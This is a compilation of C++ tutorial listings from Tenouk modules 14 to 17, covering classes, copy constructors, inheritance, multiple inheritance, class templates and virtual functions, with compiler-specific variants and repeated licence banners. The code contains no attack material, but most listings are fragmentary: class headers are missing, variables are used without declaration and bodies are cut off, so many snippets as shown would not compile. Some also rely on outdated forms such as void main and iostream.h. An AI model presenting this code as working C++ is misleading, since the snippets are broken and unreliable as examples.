system("pause");
return 0;
---------------------------------------------------------------------------------------------------------------
public:
//default constructor
TestArray(int = 4);
//copy constructor
TestArray(const TestArray &);
//destructor
~TestArray();
private:
int *ptr;
int size;
};
assert(ptr !=0);
for(int i = 0; i< size; i++)
ptr[i] = rightside.ptr[i];
}
return *this;
}
if((i+1)%10==0)
output<<endl;
}
if (i % 10 !=0)
output << endl;
return output;
}
//--------main program---------
int main()
{
//One(3) same as One = 3 and Two will use
//the default constructor value, 4
TestArray One(3), Two;
if(One == Three)
cout<<"They are equal\n";
else
cout<<"They are not equal!";
system("pause");
return 0;
}
---------------------------------------------------------------------------------------------------------------
class complexnum
{
private:
double p, q;
public:
//constructor forming the a + bi
//overloaded function, with two arguments...
complexnum(double a, double b)
{
p = a;
q = b;
}
void main()
{
double a,b;
complexnum r = complexnum(a,b);
--------------------------------------------VC++/VC++ .Net------------------------------------------------
//--------class implementation---------
def::def(void)
{
size = 0;
string = new char[2];
strcpy(string, "");
}
def::def(def &in_object)
{
size = in_object.size;
string = new char[strlen(in_object.string) + 1];
strcpy(string, in_object.string);
}
def::~def(void)
{
delete [] string;
}
//--------main program----------
void main()
{
char buffer[80];
def my_data;
my_data.set_data(8, " small size, override default constructor ");
my_data.get_data(buffer);
cout<<" content of buffer!!\n"<<buffer<<"\n";
def more_data(my_data);
more_data.set_data(12, " medium size, override copy constructor");
my_data.get_data(buffer);
cout<<"\n content of buffer 2nd round!!\n"<<buffer<<"\n";
my_data = more_data;
my_data.get_data(buffer);
cout<<"\n content of buffer 3rd round, assignment overload!!\n"<<buffer<<"\n";
}
------------------------------------------G++ on Linux/Fedora---------------------------------------------
/////-program objarray.cpp-//////
/////-FEDORA 3, g++ x.x.x-///////
/////-object and array-//////////
#include <iostream>
using namespace std;
//-------class declaration------
class wall
{
int length;
int width;
static int extra_data;
//declaration of the extra_data static type
public:
wall(void);
void set(int new_length, int new_width);
int get_area(void);
//inline function
int get_extra(void) {return extra_data++;}
};
//--------class implementation---------
int wall::extra_data; //Definition of extra_data
//This method will set a wall size to the two input parameters
void wall::set(int new_length, int new_width)
{
length = new_length;
width = new_width;
}
//This method will calculate and return the area of a wall instance
int wall::get_area(void)
{
return (length * width);
}
//------main program----------
int main()
{
//instantiates 7 objects
wall small, medium, large, group[4];
//assigning values
small.set(5, 7);
large.set(15, 20);
cout<<"Sending message-->small.get_area()\n";
cout<<"Area of the small wall is "<<small.get_area()<<"\n\n";
cout<<"Sending message-->medium.get_area()\n";
cout<<"Area of the medium wall is "<<medium.get_area()<<"\n\n";
cout<<"Sending message-->large.get_area()\n";
cout<<"Area of the large wall is "<<large.get_area()<<"\n\n";
cout<<"extra_data = 1, extra_data++\n";
cout<<"Sending message using-->small.get_extra() or \n";
cout<<"array, group[0].get_extra()\n";
cout<<"Extra data value is "<<small.get_extra()<<"\n";
cout<<"New Extra data value is "<<medium.get_extra()<<"\n";
cout<<"New Extra data value is "<<large.get_extra()<<"\n";
cout<<"New Extra data value is "<<group[0].get_extra()<<"\n";
cout<<"New Extra data value is "<<group[3].get_extra()<<"\n";
return 0;
}
===========================MODULE14========================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>
...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;
...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
=========================================================================
-------------------------------------------------------------------------------------------
-----------------------------------------------------------------------------------------------
#include <iostream.h>
#include <stdlib.h>
#include "vehicle.h"
//user define header file and put it in the same folder as this program
void main()
{
Cvehicle car, motorcycle, truck, sedan_car;
//data initialization
car.initialize(4,3000.0);
truck.initialize(20,30000.0);
motorcycle.initialize(2,900.0);
sedan_car.initialize(4,3000.0);
system("pause");
}
--------------------------------------------------------------------------------------------------
#ifndef CAR_H
#define CAR_H
#include "vehicle.h"
#endif
------------------------------------------------------------------------------------------------
#include "car.h"
int Ccar::passengers(void)
{
return passenger_load;
}
--------------------------------------------------------------------------------------------------
#ifndef TRUCK_H
#define TRUCK_H
#include "vehicle.h"
-----------------------------------------------------------------------------------------------------
#include "truck.h"
float Ctruck::efficiency(void)
{
return payload/(payload + weight);
}
int Ctruck::passengers(void)
{
return passenger_load;
}
--------------------------------------------------------------------------------------------------------
#include <iostream.h>
#include <stdlib.h>
#include "vehicle.h" //the interface of the Cvehicle class
#include "car.h" //the interface of the Ccar class
#include "truck.h" //the interface of the Ctruck class
void main()
{
Cvehicle unicycle; //base class
unicycle.initialize(1,12.5);
sedan.initialize(4,3500.0,5);
trailer.initialize(18,12500.0);
trailer.init_truck(1,33675.0);
system("pause");
}
-----------------------------------------------------------------------------------------------------
//inheritance
#include <iostream.h>
#include <stdlib.h>
//base class
class Base
{
//member variables and member
//functions...
public:
Base(){}
~Base(){}
protected:
private:
};
//derived class...
class Derived:public Base
{
//same as normal class actually...
//member variables and member function...
public:
Derived(){}
~Derived(){}
private:
protected:
};
void main()
{
cout<<"Testing the program skeleton..."<<endl;
system("pause");
}
----------------------------------------------------------------------------------------------------
//inheritance
#include <iostream.h>
#include <stdlib.h>
protected:
public:
MyFather(){}
~MyFather(){}
char* GetEye()
{ return EyeColor = "Brown";}
char* GetHair()
{ return HairType = "Straight";}
double GetSaving()
//derived class...
class MySelf:public MyFather
{
//same as normal class actually...
private:
char* MyEye;
char* MyHair;
public:
MySelf(){}
~MySelf(){}
char* GetMyEye()
{ return MyEye = "Blue";}
char* GetMyHair()
{return MyHair = "Curly";}
protected:
};
public:
MySister(){}
~MySister(){}
char* GetSisEye()
{return SisEye = "Black";}
char* GetSisHair()
{ return SisHair = "Blonde";}
};
//-------main program--------
int main()
{
//base class object...
MyFather Test1;
---------------------------------------------VC++/VC++ .Net------------------------------------------------------
//inheritance
#include <iostream>
using namespace std;
protected:
//protected members here…
public:
MyFather(){}
~MyFather(){}
char* GetEye()
{ return EyeColor = "Brown";}
char* GetHair()
{ return HairType = "Straight";}
double GetSaving()
{return FamSaving = 30000;}
};
//derived class...
class MySelf:public MyFather
{
//same as normal class actually...
private:
char* MyEye;
char* MyHair;
public:
MySelf(){}
~MySelf(){}
char* GetMyEye()
{ return MyEye = "Blue";}
char* GetMyHair()
{return MyHair = "Curly";}
protected:
};
public:
MySister(){}
~MySister(){}
char* GetSisEye()
{return SisEye = "Black";}
char* GetSisHair()
{ return SisHair = "Blonde";}
};
//------main program--------
int main()
{
//base class object...
MyFather Test1;
----------------------------------------------G++ on Linux/Fedora------------------------------------------------
//**************herit2.cpp**************
protected:
public:
MyFather(){}
~MyFather(){}
char* GetEye()
{return EyeColor = "Brown";}
char* GetHair()
{return HairType = "Straight";}
double GetSaving()
{return FamSaving = 30000;}
};
//derived class...
class MySelf:public MyFather
{
//same as normal class actually...
private:
char* MyEye;
char* MyHair;
public:
MySelf(){}
~MySelf(){}
char* GetMyEye()
{return MyEye = "Blue";}
char* GetMyHair()
{return MyHair = "Curly";}
protected:
//...
};
public:
MySister(){}
~MySister(){}
char* GetSisEye()
{return SisEye = "Black";}
char* GetSisHair()
{return SisHair = "Blonde";}
};
//----main program--------
int main()
{
//base classes object...
MyFather Test1;
return 0;
}
============================MODULE15=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
VC++/VC++ .Net and gcc or g++ are given at the end of every Module.
For example if you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:
-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>
...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;
...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
=========================================================================
#include <iostream.h>
#include <stdlib.h>
double weight;
public:
void initialize(int input_wheels, double input_weight);
int get_wheels(void) {return wheels;}
double get_weight(void) {return weight;}
double wheel_load(void) {return (weight/wheels);}
};
car sedan_car;
sedan_car.initialize(4, 3500.0, 5);
truck trailer;
trailer.initialize(18, 12500.0);
trailer.init_truck(1, 33675.0);
cout<<"--------------------------\n";
cout<<"The trailer weighs "<< trailer.get_weight()<< " kg.\n";
cout<<"The trailer's efficiency is "<<100.0 * trailer.efficiency()<<" %.\n";
system("pause");
return 0;
}
double truck::efficiency(void)
{
return payload / (payload + weight);
}
---------------------------------------------------------------------------------------------------
//program inherit2.cpp
#include <iostream.h>
#include <stdlib.h>
//------main program-------
int main()
{
vehicle unicycle;
unicycle.initialize(1, 12.5);
car sedan_car;
sedan_car.initialize(4, 3500.0, 5);
truck trailer;
trailer.initialize(18, 12500.0);
trailer.init_truck(1, 33675.0);
system("pause");
return 0;
}
{
wheels = input_wheels;
weight = input_weight;
}
double truck::efficiency(void)
{
//Changed from program inherit1.cpp, from weight to get_weight()
return payload / (payload + get_weight());
}
-----------------------------------------------------------------------------------------------------
//Program inherit3.cpp
#include <iostream.h>
#include <stdlib.h>
};
//------main program------
int main()
{
vehicle unicycle;
unicycle.initialize(1, 12.5);
car sedan_car;
sedan_car.initialize(4, 3500.0, 5);
truck trailer;
//trailer.initialize(18, 12500.0);
//this method is private now
trailer.init_truck(1, 33675.0);
system("pause");
return 0;
}
double truck::efficiency(void)
{
return (payload / (payload + weight));
}
-----------------------------------------------------------------------------------------------
//Program inherit3.cpp
#include <iostream.h>
#include <stdlib.h>
{
int passenger_load;
double payload;
public:
void init_truck(int how_many = 4, double max_load = 24000.0);
double efficiency(void);
int passengers(void) {return passenger_load;}
};
//-----main program------
int main()
{
vehicle unicycle;
unicycle.initialize(1, 12.5);
car sedan_car;
sedan_car.initialize(4, 3500.0, 5);
truck trailer;
//trailer.initialize(18, 12500.0);
//this method is private now
trailer.init_truck(1, 33675.0);
system("pause");
return 0;
}
weight = input_weight;
}
double truck::efficiency(void)
{
return (payload / (payload + weight));
}
-------------------------------------------------------------------------------------------
//Program inherit4.cpp
#include <iostream.h>
#include <stdlib.h>
//public inheritance
class car : public vehicle //public inheritance
{
int passenger_load;
public:
car(void)
{
passenger_load = 4;
cout<<"Constructor's value of the derived class, car"<<'\n';
cout<<"---------------------------------------------\n";
}
void initialize(int input_wheels, double input_weight, int people = 4);
int passengers(void) {return passenger_load;}
};
//-------main program-------
int main()
{
vehicle unicycle;
//unicycle.initialize(1, 12.5);
//use default constructor value, so no need the
//initialization code for object unicycle anymore.
cout<<"The unicycle has "<<unicycle.get_wheels()<<" wheel.\n";
cout<<"The unicycle's wheel loading is "<<unicycle.wheel_load()<<" kg on the single tire.\n";
cout<<"The unicycle weighs "<<unicycle.get_weight()<<" kg.\n\n";
car sedan_car;
// use base class initialize() method
// sedan_car.initialize(4, 3500.0, 5);
cout<<"The sedan car carries "<<sedan_car.passengers()<<" passengers.\n";
cout<<"The sedan car weighs "<<sedan_car.get_weight()<<" kg.\n";
cout<<"The sedan car's wheel loading is "<<sedan_car.wheel_load()<<" kg per tire.\n\n";
truck trailer;
//use base class initialize() method with default data
//trailer.initialize(18, 12500.0);
//trailer.init_truck(1, 33675.0);
cout<<"The trailer weighs "<<trailer.get_weight()<<" kg.\n";
cout<<"The trailer's efficiency is "<<100.0 * trailer.efficiency()<<" %.\n";
system("pause");
return 0;
}
{
wheels = input_wheels;
weight = input_weight;
}
double truck::efficiency(void)
{
return (payload / (payload + weight));
}
-----------------------------------------------------------------------------------------------------------
//Program inherit5.cpp
#include <iostream.h>
#include <stdlib.h>
{
int passenger_load;
public:
car(void)
{
passenger_load = 4; cout<<"It is me!, Constructor #3, derived class, car"<<'\n';
}
//-----main program------
int main()
{
vehicle unicycle(1, 12.5);
// unicycle.initialize(1, 12.5);
cout<<"The unicycle has "<<unicycle.get_wheels()<<" wheel.\n";
cout<<"The unicycle's wheel load is "<<unicycle.wheel_load()<<
" kg on the single tire.\n";
cout<<"The unicycle weighs "<<unicycle.get_weight()<<" kg.\n\n";
//trailer.initialize(18, 12500.0);
//trailer.init_truck(1, 33675.0);
cout<<"The trailer weighs "<<trailer.get_weight()<<" kg.\n";
cout<<"The trailer's efficiency is "<<100.0 * trailer.efficiency()<<" %.\n";
system("pause");
return 0;
}
double truck::efficiency(void)
{
return (payload / (payload + weight));
}
------------------------------------------------------------------------------------------------------------
//Program inherit6.cpp
#include <iostream.h>
#include <stdlib.h>
vehicle(void)
{ wheels = 7; weight = 11111.0;
cout<<"Constructor #1, own by base class"<<'\n';}
vehicle(int input_wheels, double input_weight)
{ wheels = input_wheels; weight = input_weight;
cout<<"Constructor #2, own by base class"<<'\n';}
//-----main program-----
int main()
{
vehicle unicycle;
unicycle.initialize(1, 12.5);
car sedan_car[3];
//an array of object with 3 elements
int index;
//variable used for counter
for (index = 0 ; index < 3 ; index++)
//count and execute
{
sedan_car[index].initialize(4, 3500.0, 5);
cout<<"Count no. #" <<index<<'\n';
cout<<"The sedan car carries "<<sedan_car[index].passengers()<<" passengers.\n";
cout<<"The sedan car weighs "<<sedan_car[index].get_weight()<<" kg.\n";
cout<<"The sedan car's wheel load is "<<sedan_car[index].wheel_load()<<" kg per tire.\n\n";
}
if (trailer == NULL)
{
cout<<"Memory allocation failed\n";
exit(EXIT_FAILURE);
}
trailer->initialize(18, 12500.0);
trailer->init_truck(1, 33675.0);
cout<<"The trailer weighs " << trailer->get_weight()<<" kg.\n";
cout<<"The trailer's efficiency is "<<100.0 * trailer->efficiency()<<" %.\n";
delete trailer;
//deallocate the object
system("pause");
return 0;
}
payload = max_load;
}
double truck::efficiency(void)
{
return (payload / (payload + weight));
}
-------------------------------------------------------------------------------------------------
class SampleFriend
{
//private member variable
int i;
friend int friend_funct(SampleFriend *, int);
//friend_funct is not private,
//even though it's declared in the private section
public:
//constructor
SampleFriend(void) { i = 0;};
int member_funct(int);
};
int SampleFriend::member_funct(int a)
{
return i = a;
}
main()
{
SampleFriend xobj;
//note the difference in function calls
--------------------------------------------------------------------------------------------------------
//inheritance again...
//notice the sequence of the constructor
//and destructor, and private, public,
//protected usage...
#include <iostream.h>
#include <stdlib.h>
class Base
{
//available for this class member functions ONLY...
private:
int BaseVar;
int NewX;
int ExtraBaseVar;
p++;
}
int Base::SimilarNameFunct()
{return ExtraBaseVar = 170;}
//constructor counter...
static int r;
cout<<"Invoking derived class constructor #"<<r<<endl;
r++;
}
void DerivedOne::SetDerivedOneData()
{}
int DerivedOne::SimilarNameFunct()
{return ExtraDerivedVar = 260;}
void main()
{
//instantiate objects with class types...
Base ObjOne, ObjFour;
DerivedOne ObjTwo, ObjFive;
Base ObjThree;
system("pause");
}
---------------------------------------------VC++/VC++ .Net--------------------------------------------
//Program inherit3.cpp
#include <iostream>
using namespace std;
public:
void initialize(int input_wheels, double input_weight);
int get_wheels(void) {return wheels;}
double get_weight(void) {return weight;}
double wheel_load(void) {return (weight/wheels);}
};
public:
void initialize(int input_wheels, double input_weight, int people = 4);
int passengers(void) {return passenger_load;}
};
//-----main program----
int main()
{
vehicle unicycle;
unicycle.initialize(1, 12.5);
car sedan_car;
sedan_car.initialize(4, 3500.0, 5);
truck trailer;
//trailer.initialize(18, 12500.0);
//this method is private now
trailer.init_truck(1, 33675.0);
passenger_load = people;
wheels = input_wheels;
weight = input_weight;
}
double truck::efficiency(void)
{
return (payload / (payload + weight));
}
-----------------------------------------------G++ on Linux/Fedora-------------------------------------------------
/////-herit.cpp-///////////////////////
//notice the sequence of the constructor
//and destructor, and the use of private,
//public and protected. The inheritance...
//////-FEDORA 3, g++ x.x.x-/////////////
#include <iostream>
using namespace std;
class Base
{
//available for this class member functions ONLY...
private:
int BaseVar;
int NewX;
int ExtraBaseVar;
int Base::SimilarNameFunct()
{return ExtraBaseVar = 170;}
DerivedOneVar = 200;
//this member variable is inherited from protected base class
BaseVarOne = 250;
//constructor counter...
static int r;
cout<<"Invoking derived class constructor #"<<r<<endl;
r++;
}
void DerivedOne::SetDerivedOneData()
{}
int main()
{
//instantiate objects with class types...
Base ObjOne, ObjFour;
DerivedOne ObjTwo, ObjFive;
Base ObjThree;
============================MODULE16=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
VC++/VC++ .Net and gcc or g++ are given at the end of every Module.
For example if you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:
-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>
...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;
...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
=========================================================================
#include <iostream.h>
#include <stdlib.h>
float mpg;
//this variable only available for derived class
//because of the protected keyword
public:
void initialize(float pl, float gw, float input_mpg)
{
payload = pl;
gross_weight = gw;
mpg = input_mpg;
};
float efficiency(void)
{
return (payload / (payload + gross_weight));
};
//-----derived class--------
//inherit from two different base classes
class driven_truck : public moving_van, public driver
{
public:
void initialize_all(float pl, float gw, float input_mpg, float pay)
{ payload = pl;
gross_weight = gw;
mpg = input_mpg;
hourly_pay = pay;
};
//-----main program----
int main()
{
//instantiate an object…
driven_truck john_merc;
john_merc.initialize_all(20000.0, 12000.0, 5.2, 12.50);
system("pause");
return 0;
}
----------------------------------------------------------------------------------------------------
//Program mulinher2.cpp
#include <iostream.h>
#include <stdlib.h>
float efficiency(void)
{
return (payload / (payload + gross_weight));
};
//------derived class------
//notice also the duplicated method names used
class driven_truck : public moving_van, public driver
{
public:
void initialize_all(float pl, float gw, float input_mpg, float pay)
{
payload = pl;
gross_weight = gw;
mpg = input_mpg;
hourly_pay = pay;
};
//------main program-------
int main()
{
driven_truck john_merc;
system("pause");
return 0;
}
-------------------------------------------------------------------------------------------------------------------
//Program mulinher3.cpp
#include <iostream.h>
#include <stdlib.h>
float efficiency(void)
{ return(payload / (payload + weight)); };
float total_weight(void)
//see, how to call different variables with same name
{
cout<<"\nCalling appropriate member variable\n";
cout<<"---->(moving_van::weight)+(driver::weight)\n";
cout<<"------------------------------------------\n";
return ((moving_van::weight) + (driver::weight));
};
};
system("pause");
return 0;
}
-------------------------------------------------------------------------------------------------------
//-----template declaration-------
template
<class ANY_TYPE> ANY_TYPE maximum(ANY_TYPE a, ANY_TYPE b)
{
return (a > b) ? a : b;
}
//------main program-------
int main(void)
{
int x = 10, y = -9;
float real = 3.1415;
char ch = 'C';
system("pause");
return 0;
}
--------------------------------------------------------------------------------------------------
//Class template
#include <iostream.h>
#include <stdlib.h>
//----class template------
template <class ANY_TYPE> class stack
{
ANY_TYPE array[MAXSIZE];
int stack_pointer;
public:
stack(void) { stack_pointer = 0; };
void push(ANY_TYPE input_data){ array[stack_pointer++] = input_data; };
ANY_TYPE pop(void) { return array[--stack_pointer]; };
int empty(void) { return (stack_pointer == 0); };
};
//------main program-------
int main(void)
{
int x = 30, y = -10;
float real = 4.2425;
stack<int> int_stack;
stack<float> float_stack;
stack<char *> string_stack;
//storing data
int_stack.push(x);
int_stack.push(y);
int_stack.push(67);
float_stack.push(real);
float_stack.push(-20.473);
float_stack.push(107.03);
//displaying data
cout<<"---------------Displaying data--------------------\n";
cout<<"\nInteger stack\n";
cout<<"-------------\n";
cout<<"Access using int_stack.pop(), first time : "<<int_stack.pop()<<"\n";
cout<<"Access using int_stack.pop(), second time: "<<int_stack.pop()<<"\n";
cout<<"Access using int_stack.pop(), third time : "<<int_stack.pop()<<"\n";
cout<<"\nFloat stack\n";
cout<<"-------------\n";
cout<<"Access using float_stack.pop(), first time : "<<float_stack.pop()<<"\n";
cout<<"Access using float_stack.pop(), second time: "<<float_stack.pop()<<"\n";
cout<<"Access using float_stack.pop(), third time : "<<float_stack.pop()<<"\n";
cout<<"\nString stack\n";
cout<<"-------------\n";
do
{
cout<<"Access using string_stack.pop(): "<<string_stack.pop()<<"\n";
} while (!string_stack.empty());
system("pause");
return 0;
}
---------------------------------------------------------------------------------------------------
public:
MyFather(){}
~MyFather(){}
char* ShowEyeColor();
char* ShowHairType();
long double FamilySaving();
int FamilyCar();
};
char* HairType;
int FamHouse;
public:
MyMother(){}
~MyMother(){}
char* ShowMotherEye();
char* ShowMotherHair();
int FamilyHouse();
};
public:
MySelf(){}
~MySelf(){}
char* ShowMyHair();
char* ShowMyEducation();
};
public:
MySister(){}
~MySister(){}
char* ShowSisEye();
float ShowSisAllownace();
};
char* MyFather::ShowHairType()
{return HairType = "Bald";}
int MyFather::FamilyCar()
{return FamCar = 4;}
char* MyMother::ShowMotherEye()
{return EyeColor = "Blue";}
char* MyMother::ShowMotherHair()
{return HairType = "Curly Blonde";}
int MyMother::FamilyHouse()
{return FamHouse = 3;}
char* MySelf::ShowMyHair()
{return HairType = "Straight Black";}
char* MySelf::ShowMyEducation()
{return Education = "Post Graduate";}
char* MySister::ShowSisEye()
{return SisEye = "Black";}
float MySister::ShowSisAllownace()
{return MonAllowance = 1000.00;}
//------main program------
int main()
{
//instatiate the objects...
MyFather ObjFat;
MyMother ObjMot;
MySelf ObjSelf;
MySister ObjSis;
system("pause");
return 0;
--------------------------------------------------------------------------------------------------
int SampleFunctOne()
{return SampleDataOne;}
};
int SampleFunctTwo()
{return SampleDataTwo;}
};
//derived class...
class Derived1:public Base1,public Base2
{
int MyData;
public:
Derived1(){MyData = 300;}
~Derived1(){}
int MyFunct()
{
//the protected data of the base classes are available
//for this derived class...
return (MyData + SampleDataOne + SampleDataTwo);
}
};
//----main program------
int main()
{
//instantiate objects...
Base1 SampleObjOne;
Base2 SampleObjTwo;
Derived1 SampleObjThree;
system("pause");
return 0;
}
-----------------------------------------------VC++/VC++ .Net---------------------------------------------------
//Program mulinher3.cpp
#include <iostream>
using namespace std;
double efficiency(void)
{ return(payload / (payload + weight)); };
public:
void initialize(double pay, double input_weight)
//same method name but different number of parameter
{
hourly_pay = pay;
weight = input_weight;
};
double cost_per_mile(void) {return (hourly_pay / 55.0); };
double drivers_weight(void) {return (weight); };
};
double total_weight(void)
//see, how to call different variables with same name
{
cout<<"\nCalling appropriate member variable\n";
cout<<"---->(moving_van::weight)+(driver::weight)\n";
cout<<"------------------------------------------\n";
return ((moving_van::weight) + (driver::weight));
};
};
-------------------------------------------G++ on Linux/Fedora--------------------------------------------------------
//////- multiherit.cpp-/////////
//////-multi inheritance-///////
#include <iostream>
using namespace std;
public:
void initialize(float pl, float gw, float input_mpg)
{
payload = pl;
gross_weight = gw;
mpg = input_mpg;
};
float efficiency(void)
{return (payload / (payload + gross_weight));};
public:
//same method name as in moving van class.
void initialize(float pay) {hourly_pay = pay;};
float cost_per_mile(void) {return (hourly_pay / 55.0); } ;
float cost_per_full_day(float overtime_premium) //number two
{return (7.0 * hourly_pay); };
};
//-----derived class------
//notice also the duplicated method names used
class driven_truck : public moving_van, public driver
{
public:
void initialize_all(float pl, float gw, float input_mpg, float pay)
{
payload = pl;
gross_weight = gw;
mpg = input_mpg;
hourly_pay = pay;
};
//-------main program-----
int main()
{
driven_truck john_merc;
return 0;
}
============================MODULE17=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
VC++/VC++ .Net and gcc or g++ are given at the end of every Module.
For example if you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:
-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>
...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;
...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
=========================================================================
#include <iostream.h>
#include <stdlib.h>
{
int passenger_load;
public:
void message(void) //second message()
{cout<<"Car message, from car, the vehicle derived class\n";}
};
unicycle.message();
sedan_car.message();
trailer.message();
sailboat.message();
system("pause”);
return 0;
}
----------------------------------------------------------------------------------------
//Program poly2.cpp
#include <iostream.h>
#include <stdlib.h>
float weight;
public:
virtual void message(void)
//first message(), with virtual keyword
{cout<<"Vehicle message, from vehicle, the base class\n";}
};
//unicycle = sedan_car;
//sedan_car.message();
system("pause");
return 0;
}
--------------------------------------------------------------------------------------------
//Program poly3.cpp
#include <iostream.h>
#include <stdlib.h>
unicycle->message();
sedan_car = new car;
sedan_car->message();
trailer = new truck;
trailer->message();
sailboat = new boat;
sailboat->message();
unicycle = sedan_car;
unicycle->message();
system("pause");
return 0;
}
------------------------------------------------------------------------------------------
//Program poly4.cpp
#include <iostream.h>
#include <stdlib.h>
unicycle = sedan_car;
unicycle->message();
system("pause");
return 0;
}
-------------------------------------------------------------------------------------------
//Program poly5.cpp
#include <iostream.h>
#include <stdlib.h>
vehicle *unicycle;
unicycle = new vehicle;
unicycle->message();
delete unicycle;
//unicycle = sedan_car;
//unicycle->message();
system("pause");
return 0;
}
--------------------------------------------------------------------------------------
//Program poly6.cpp
#include <iostream.h>
#include <stdlib.h>
vehicle *unicycle;
unicycle->message();
delete unicycle;
unicycle = new truck;
unicycle->message();
delete unicycle;
system("pause");
return 0;
}
----------------------------------------------------------------------------------------------
public:
//constructor, set the object's data
Shape(){Color = "No Color!";}
~Shape(){};
//virtual base member function...
//return the object's data
virtual char* GetColor(){return Color;}
};
//derived class...
class Rectangle:public Shape
{
//notice the same variable name, it is OK...
char* Color;
public:
Rectangle(){Color = "bLue SkY!";}
~Rectangle(){}
//derived class member function
//should also be virtual...
char* GetColor(){return Color;}
};
{
char* Color;
public:
Square(){ Color = "yEllOw!";}
~Square(){}
char* GetColor(){return Color;}
};
public:
Triangle(){Color = "GrEEn!";}
~Triangle(){}
char* GetColor(){return Color;}
};
public:
Circle(){Color = "aMbEr!";}
~Circle(){}
//let set different function name but
//same functionality...
char* GetMyColor(){return Color;}
};
//----main program---
int main()
{
//instantiate objects of class type...
Shape ObjOne;
Rectangle ObjTwo;
Square ObjThree;
Triangle ObjFour;
Circle ObjFive;
//retest..
VirtualPtr = new Triangle;
cout<<"Triangle color: "<<VirtualPtr->GetColor()<<endl;
cout<<" VirtualPtr pointer reference = "<<VirtualPtr<<endl;
delete VirtualPtr;
system("pause");
return 0;
}
----------------------------------------------VC++/VC++ .Net-----------------------------------------------------
//Program poly6.cpp
#include <iostream>
using namespace std;
vehicle *unicycle;
return 0;
}
---------------------------------------------G++ on Linux/Fedora-------------------------------------------------------
///////-polymorph.cpp-/////////
///////-polymorphic functions, virtual function-////////
///////-FEDORA 3, g++ x.x.x-///////
#include <iostream>
using namespace std;
public:
//constructor, set the object's data
Shape(){Color = "No Color!";}
~Shape(){};
//virtual base member function...
//return the object's data
virtual char* GetColor(){return Color;}
};
//derived class...
class Rectangle:public Shape
{
